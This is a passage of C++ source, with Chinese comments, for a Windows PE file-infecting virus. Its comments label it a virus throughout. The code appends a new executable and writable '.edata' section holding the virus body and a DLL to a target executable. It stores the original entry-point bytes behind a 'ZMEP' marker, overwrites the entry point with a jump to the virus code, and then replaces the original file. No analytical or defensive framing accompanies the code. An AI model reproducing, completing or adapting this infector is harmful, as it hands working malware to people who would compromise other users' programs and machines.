fclose(newoutFile);
SAFE_DELETE(buf);
fclose(u_filehdl);
//先执行程序,要改名
ShellExecute(NULL, "open", newfileName, 0, 0, SW_SHOW);
//病毒开始执行
MSG msg;
ZeroMemory(&msg, sizeof(msg));
while(GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
} else {
InjectModule();
}
system("pause");
return 0;
}
// 检测标志串
bool checkFileFlag(const char* fdecFileName, int a_offset)
{
struct _stat tST;
_stat(decFileName, &tST);
// 偏移量,为本身的大小以字节计。
char buf[260] = {0};
FILE* tdecFile = fopen(fdecFileName, "rb");
fseek(tdecFile, a_offset, SEEK_SET);
fread(buf, 1, 3, tdecFile);
if(strcmp(buf, "ZME") == 0)
{
fclose(tdecFile);
return true;
} else {
fclose(tdecFile);
return false;
}
}
void ExcVar(BYTE& dec, BYTE& src)
{
BYTE t = 0;
t = dec;
dec = src;
src = t;
}
// 感染模块
bool InjectModule()
{
cout<<"Hello World"<<endl;
char ownFileName[size] = {0};
//GetModuleFileName(0, ownFileName, sizeof(ownFileName));
lstrcpyn(ownFileName, decFileNameAfter, sizeof(decFileNameAfter));
struct _stat ST,decST,dllST;
_stat(ownFileName, &ST);
_stat(decFileName, &decST);
_stat(decFileDLLName, &dllST);
FILE *decFile = fopen(decFileName, "rb");
FILE *ownFile = fopen(ownFileName, "rb");
FILE *dllFile = fopen(decFileDLLName, "rb"); // DLL文件
BYTE *ownBuf = NULL;
ownBuf = new BYTE[ST.st_size];
fread(ownBuf, 1, ST.st_size, ownFile);
fclose(ownFile);
BYTE *decBuf = NULL;
decBuf = new BYTE[decST.st_size];
fread(decBuf, 1, decST.st_size, decFile);
fclose(decFile);
BYTE *dllBuf = NULL;
dllBuf = new BYTE[dllST.st_size];
fread(dllBuf, 1, dllST.st_size, dllFile);
fclose(dllFile);
//最后再修改
InjectByteBuf tmpIBBuf;
ZeroMemory(&tmpIBBuf, sizeof(tmpIBBuf));
tmpIBBuf.decBuf = decBuf;
tmpIBBuf.ownBuf = ownBuf;
tmpIBBuf.dllBuf = dllBuf;
::_stat(decFileDLLName, &tmpIBBuf.dllST);
InsertSection(tmpIBBuf, decST, ST, decFileName); // 插入区块 计算块表各种参数
SAFE_DELETE(ownBuf);
SAFE_DELETE(decBuf);
return 0;
}
bool CheckSubsystem(WORD param_subsystem)
{
switch(param_subsystem)
{
case 0:
printf("未知文件子系统\n");
break;
case 2:
printf("图形(GUI)文件子系统\n");
break;
case 3:
printf("控制台(Console or DOS)文件子系统\n");
break;
default:
printf("未知文件子系统\n");
break;
}
return 0;
}
// 输出PE文件信息
bool OutPEFileInfo(IMAGE_NT_HEADERS& param_inh)
{
// 目标PE文件信息
if(param_inh.FileHeader.Machine == 0x14C) {
printf("Intel i386及以上 CPU: 0x%X\n", param_inh.FileHeader.Machine);
}
printf("块数目: 0x%d\n", param_inh.FileHeader.NumberOfSections);
printf("可选映像头(IMAGE_OPTIONAL_HEADER32大小: 0x%X\n", param_inh.FileHeader.SizeOfOptionalHeader);
printf("代码段大小: 0x%X\n", param_inh.OptionalHeader.SizeOfCode);
printf("已初始化数据块大小: 0x%X\n", param_inh.OptionalHeader.SizeOfInitializedData);
printf("未初始化数据块大小: 0x%X\n", param_inh.OptionalHeader.SizeOfUninitializedData);
printf("程序执行入口(OEP): 0x%X\n", param_inh.OptionalHeader.AddressOfEntryPoint);
printf("代码段起始RVA: 0x%X\n", param_inh.OptionalHeader.BaseOfCode);
printf("数据段起始RVA: 0x%X\n", param_inh.OptionalHeader.BaseOfData);
printf("程序默认装入的基址RVA: 0x%X\n", param_inh.OptionalHeader.ImageBase);
printf("内存镜像大小: 0x%X\n", param_inh.OptionalHeader.SizeOfImage);
CheckSubsystem(param_inh.OptionalHeader.Subsystem);
return 0;
}
// 计算4KB对齐数
int GetMultiple4KB(int param_Any)
{
int tmp4KBNum = param_Any / 0x1000;
int tmpNeatNum = tmp4KBNum * 0x1000;
return tmpNeatNum;
}
// 插入区块
bool InsertSection(struct InjectByteBuf& param_IBBuf, struct _stat& decST, struct _stat& ownST,
const char* szDecFileName)
{
cout<<"计算区块各参数:"<<endl;
// 插入区块, 先获取OEP
const int offDOSStub = 0x3C;
const int IMAGE_SECTION_HEADER_SIZE = sizeof(IMAGE_SECTION_HEADER);
//VC提供的头更容易方便
IMAGE_NT_HEADERS decINH, ownINH, dllINH;
long off_elfanew = 0; // 指向PE头
long vir_offelfanew = 0; // 指向自身PE头
long dll_elfanew = 0; // 指向DLLPE头
memcpy(&off_elfanew, ¶m_IBBuf.decBuf[offDOSStub], sizeof(long)); //DOS_Stub 然后再定位PE头
memcpy(&vir_offelfanew, ¶m_IBBuf.ownBuf[offDOSStub], sizeof(long));
memcpy(&dll_elfanew, ¶m_IBBuf.dllBuf[offDOSStub], sizeof(long));
memcpy(&decINH, ¶m_IBBuf.decBuf[off_elfanew], sizeof(IMAGE_NT_HEADERS));
memcpy(&ownINH, ¶m_IBBuf.ownBuf[vir_offelfanew], sizeof(IMAGE_NT_HEADERS));
memcpy(&dllINH, ¶m_IBBuf.dllBuf[dll_elfanew], sizeof(IMAGE_NT_HEADERS));
OutPEFileInfo(decINH);
printf("\n");
OutPEFileInfo(ownINH);
printf("\n");
OutPEFileInfo(dllINH);
//==#####################################################################################
printf("\n\n");
DWORD SectionTableHeaderValue = 0; // 块表首
memcpy(&SectionTableHeaderValue, ¶m_IBBuf.decBuf[off_elfanew + sizeof(IMAGE_NT_HEADERS)], sizeof(DWORD));
printf("块表首值: %X\n", SectionTableHeaderValue);
IMAGE_SECTION_HEADER tISH; // 块表结构实例
ZeroMemory(&tISH, sizeof(tISH));
int t_totalSectionLength = sizeof(tISH) * decINH.FileHeader.NumberOfSections; // 块总长度
int IMAGE_SECTION_HEADER_FIRST = off_elfanew + sizeof(IMAGE_NT_HEADERS); // 块表第一项位置
int t_InsertPosition = IMAGE_SECTION_HEADER_FIRST + t_totalSectionLength;
printf("块表项结构大小: %d字节\n", IMAGE_SECTION_HEADER_SIZE );
printf("总块表长度: %d字节(%X)\n", t_totalSectionLength, t_totalSectionLength);
printf("插块表项偏移位置: 0x0%X\n", t_InsertPosition);
//再这之前
printf("\n\n");
DWORD DecFileOEPOffset = 0; // 目标 分别在文件中OEP的 Offset
DWORD VirusFileOEPOffset = 0; // 病毒
DWORD tmpDecDeltaK = 0;
DecFileOEPOffset = GetVaROffset(param_IBBuf.decBuf, IMAGE_SECTION_HEADER_FIRST, IMAGE_SECTION_HEADER_SIZE,
decINH.FileHeader.NumberOfSections,
decINH.OptionalHeader.AddressOfEntryPoint, tmpDecDeltaK);
printf("OEP RAW File Offset: 0x%X\n", DecFileOEPOffset);
printf("\n\n");
printf("\n\n");
DWORD virus_STHValue = 0; // 块表首
memcpy(&virus_STHValue, ¶m_IBBuf.ownBuf[vir_offelfanew + sizeof(IMAGE_NT_HEADERS)], sizeof(DWORD));
printf("块表首值: %X\n", virus_STHValue);
IMAGE_SECTION_HEADER vtISH; // 病毒体块表结构实例
ZeroMemory(&vtISH, sizeof(vtISH));
int vt_totalSectionLength = sizeof(vtISH) * ownINH.FileHeader.NumberOfSections;
int ISH_FIRST = vir_offelfanew + sizeof(IMAGE_NT_HEADERS);
int vt_InsertPosition = ISH_FIRST + vt_totalSectionLength;
printf("总块表长度: %d字节(%X)\n", vt_totalSectionLength, vt_totalSectionLength);
printf("插块表项偏移位置: 0x0%X\n", vt_InsertPosition);
// 计算出病毒文件本身的
printf("\n\n");
DWORD tmpVirusDeltaK = 0; // 病毒体的DelTaK
VirusFileOEPOffset = GetVaROffset(param_IBBuf.ownBuf, ISH_FIRST, IMAGE_SECTION_HEADER_SIZE,
ownINH.FileHeader.NumberOfSections,
ownINH.OptionalHeader.AddressOfEntryPoint, tmpVirusDeltaK);
printf("OEP RAW File Offset: 0x%X\n", VirusFileOEPOffset);
// 计算病毒体本身的入口点
//封闭在内部
FILE* g_outFile = NULL;
//新建文件
char szName[size] = {0};
sprintf(szName, "The%d_.exe", rand()%10000);
g_outFile = fopen(szName, "wb");
fwrite(param_IBBuf.decBuf, 1, decST.st_size, g_outFile); // 输出目标程序
// 加区块了
int tmpTrueAddress = 0;
int tmpTrueSize = 0;
int tmpRelDeltaK = 0; // 新增区段的@K
// 一个小函数返回与4KB倍数的整数
tmpTrueAddress = GetMultiple4KB(decST.st_size);
tmpTrueSize = GetMultiple4KB(ownST.st_size);
if(g_outFile) {
strncpy((char*)tISH.Name, ".edata", sizeof(tISH.Name));
// 由于VirtualAddress是和内存映像做和,所以不用取整
// 内存地址和大小
tISH.VirtualAddress = decINH.OptionalHeader.SizeOfImage; // 此地址为在内存中的偏移量
tISH.Misc.VirtualSize = tmpTrueSize; // 4KB VOffset
// 磁盘文件地址和大小
tISH.PointerToRawData = tmpTrueAddress; // 此地址为在文件中的偏移量 RAWOffset
tISH.SizeOfRawData = ownST.st_size;
tmpRelDeltaK = tISH.VirtualAddress - tISH.PointerToRawData;
tISH.PointerToRelocations = 0; // 在OBJ文件中使用, 重定位的偏移
tISH.PointerToLinenumbers = 0; // 行号表的偏移(供调试用)
tISH.NumberOfRelocations = 0; // 在OBJ文件中使用,重定位项目数
tISH.NumberOfLinenumbers = 0;
tISH.Characteristics = 0xE0000020; // 块属性, 表示包含执行代码、可读写并可执行。
printf("\n\n");
printf("区块地址\n");
printf("VirualAddress : 0x%X \n", tISH.VirtualAddress);
printf("\n\n");
printf("RAWAddress : 0x%X \n", tISH.PointerToRawData);
printf("区块大小\n");
printf("VirtualSize: 0x%X\n", tISH.Misc.VirtualSize);
printf("RAWSize: 0x%X\n", tISH.SizeOfRawData);
fseek(g_outFile, 0, SEEK_SET);
fseek(g_outFile, t_InsertPosition, SEEK_SET);
fwrite(&tISH, 1, sizeof(tISH), g_outFile); // 写入块结构
fseek(g_outFile, off_elfanew + 0x06, SEEK_SET);
WORD NumberOfSections = decINH.FileHeader.NumberOfSections;
NumberOfSections++;
fwrite(&NumberOfSections, 1, sizeof(NumberOfSections), g_outFile); // 修改块数目
// 内存对齐很重要
decINH.OptionalHeader.SizeOfImage += tISH.Misc.VirtualSize; // 对齐后的内存镜像大小
fseek(g_outFile, off_elfanew + 0x50, SEEK_SET); // 定位
fwrite(&decINH.OptionalHeader.SizeOfImage, 1, sizeof(DWORD), g_outFile);
FillZeroArea(g_outFile, tISH.Misc.VirtualSize, tISH.VirtualAddress); //在指定地址后写零
}
// 病毒的偏移地址
// 对文件头进行修改, 保存文件头,那保存的放到哪里呢?由于只是数据,就写在文件的最后吧。
// 也就是再增加下文件的长度,其中要存储下地址
fseek(g_outFile, tmpTrueAddress, SEEK_SET); //定位到新增的区段
// 写入标志共16个字节
//char szFlag[4];
//szFlag[0] = 'Z';
//szFlag[1] = 'M';
//szFlag[2] = 'E';
//szFlag[3] = 'P';
//for(int i=0;i<4; ++i) {
// fwrite(szFlag, 1, sizeof(szFlag), g_outFile);
//}
fwrite(param_IBBuf.ownBuf, 1, ownST.st_size, g_outFile);
// 插入DLL文件
//decFileDLLName
int dll_Offset = tmpTrueAddress + tmpTrueSize;
fseek(g_outFile, dll_Offset, SEEK_SET);
fwrite(param_IBBuf.dllBuf, 1, param_IBBuf.dllST.st_size, g_outFile);
int dllTrueSize = GetMultiple4KB(param_IBBuf.dllST.st_size); // 取整计算
int decHead_Offset = decST.st_size + ownST.st_size + param_IBBuf.dllST.st_size; // 都用整数
fseek(g_outFile, decHead_Offset, SEEK_SET);
//建立临时缓冲区 前8个字节
// 附加Flag和文件偏移
InjectAppendStruct tmpAStruc;
ZeroMemory(&tmpAStruc, sizeof(tmpAStruc));
memcpy(tmpAStruc.szHeadBuf, ¶m_IBBuf.decBuf[DecFileOEPOffset], 8);
// fwrite(tmpAStruc.szHeadBuf, 1, 8, g_outFile);
//目标
//EXE
//DLL
//附加信息
//
//
tmpAStruc.vDecHead_Offset = decHead_Offset; //存储Head指令的地方
tmpAStruc.vDecHead_OriginalOEP = DecFileOEPOffset; //目标OEP
tmpAStruc.vDecHead_ImageBase = decINH.OptionalHeader.ImageBase; //目标基址
tmpAStruc.vown_Offset = tmpTrueAddress;
tmpAStruc.vdll_Offset = tmpTrueAddress + tmpTrueSize;
tmpAStruc.vdll_Size = param_IBBuf.dllST.st_size;
tmpAStruc.vdll_flag[0] = 'Z';
tmpAStruc.vdll_flag[1] = 'M';
tmpAStruc.vdll_flag[2] = 'E';
tmpAStruc.vdll_flag[3] = 'P';
fwrite(&tmpAStruc, 1, sizeof(tmpAStruc), g_outFile);
//int dll_Offset = tmpTrueAddress + tmpTrueSize;
printf("0x%X\n", dll_Offset);
// 分别定为到两个程序的入口,修改指令。
int VirusTrueOEP = VirusFileOEPOffset + tmpTrueAddress;
printf("OEP在文件中偏移: 0x %X\n", VirusTrueOEP);
FAaVA tmpVirusFA; // 保存病毒的基地址,FA, DelTaK , VA
printf("合并后, 偏移地址 0x%X\n", VirusTrueOEP);
tmpVirusFA.DelTaK = tmpRelDeltaK;
tmpVirusFA.FileOffset = VirusTrueOEP;
tmpVirusFA.ImageBase = ownINH.OptionalHeader.ImageBase;
DWORD tmpTrueVA = FOffsetToVOffset(tmpVirusFA);
printf("地址地址地址: 0x%X 0x%X 0x%X\n", tmpVirusFA.FileOffset, tmpVirusFA.ImageBase, tmpVirusFA.DelTaK);
printf("转换后的 内存地址 0x%X\n", tmpTrueVA);
//fseek(g_outFile, VirusTrueOEP, SEEK_SET);
// 计算机器码出来
fseek(g_outFile, DecFileOEPOffset, SEEK_SET);
// 计算指令
tmpVirusFA.DelTaK = tmpDecDeltaK;
tmpVirusFA.FileOffset = DecFileOEPOffset;
tmpVirusFA.ImageBase = decINH.OptionalHeader.ImageBase;
int tmpVADecOEP = FOffsetToVOffset(tmpVirusFA);
int tmpCurinstruc = tmpTrueVA - tmpVADecOEP - 5;
printf("当前指令地址:0x%X \n", tmpCurinstruc );
char szMacCode[1];
szMacCode[0] = '\xE9';
fwrite(szMacCode, 1, 1, g_outFile);
fwrite(&tmpCurinstruc, 1, sizeof(tmpCurinstruc), g_outFile);
fclose(g_outFile);
remove(szDecFileName);
rename(szName, szDecFileName);
return 0;
}
// FO 转 VA
DWORD FOffsetToVOffset(struct FAaVA& param_fav)
{
DWORD VA = param_fav.FileOffset + param_fav.ImageBase + param_fav.DelTaK;
return VA;
}
// VA 转 FA
DWORD VOffsetToFOffset(struct FAaVA& param_fav)
{
DWORD FA = param_fav.VirtualOffset - param_fav.ImageBase - param_fav.DelTaK;
return FA;
}
// 获取VOffset和 ROffset
// 这里的@K 就是 每个块项中VOffset与ROffset的差, 有了这个@K就好办了。
// VA - ImageBase - @K = FileOffset了。 而OEP实际上已经就是VA - ImageBase = RVA了。
// 所以, 直接用 OEP - @K就行了。
DWORD GetVaROffset(BYTE *decBuf, int param_InsertPosition,
int param_ISHSize, int param_ISHNumber,
DWORD param_oep,
DWORD& param_DelTaK)
{
IMAGE_SECTION_HEADER tISH; // 读取一个结构
int tmp_OEPFileOffset = 0; // OEP在实际文件中的Offset
int tmp_VOffset = 0;
int tmp_ROffset = 0;
printf("OEP is : 0x%X\n", param_oep);
printf("列出块表项信息: \n");
printf(" 块名 VOffset VSize ROffset RSize 标志 \n");
for(int i=0;i<param_ISHNumber; ++i) {
memcpy(&tISH, &decBuf[param_InsertPosition + i * param_ISHSize], param_ISHSize);
printf("%s 0x%X 0x%X 0x%X 0x%X 0x%X\n", tISH.Name, tISH.VirtualAddress, tISH.Misc.VirtualSize, tISH.PointerToRawData, tISH.SizeOfRawData , tISH.Characteristics);
int OEPaVOffsetSubVal = param_oep - tISH.VirtualAddress;
printf("OEP - VOffset = 0x%X\n", OEPaVOffsetSubVal);
if((OEPaVOffsetSubVal >= 0) && (OEPaVOffsetSubVal < tISH.VirtualAddress))
{
tmp_OEPFileOffset = OEPaVOffsetSubVal;
tmp_VOffset = tISH.VirtualAddress;
tmp_ROffset = tISH.PointerToRawData;
}
}
printf("OEP FileOffset: 0x%X\n", tmp_OEPFileOffset);
int sub_VROffset = tmp_VOffset - tmp_ROffset;
param_DelTaK = sub_VROffset;
int sub_TrueFileOffset = 0; // 实际OEP FileOffset
sub_TrueFileOffset = param_oep - sub_VROffset;
printf("The @K: 0x%X\n", sub_VROffset);
return sub_TrueFileOffset;
}
// 填充全零区
bool FillZeroArea(FILE* decFile, ULONG VirtualSize, ULONG VirtualAddress)
{
fseek(decFile, VirtualAddress, SEEK_SET);
BYTE *szBuf = NULL;
szBuf = new BYTE[VirtualSize];
strncpy((char*)szBuf, "Z", VirtualSize);
fwrite(szBuf, 1, VirtualSize, decFile);
BYTE tmp = 0;
fseek(decFile, VirtualAddress, SEEK_SET);
fwrite(&tmp, 1, sizeof(tmp), decFile);
SAFE_DELETE(szBuf);
return 0;
}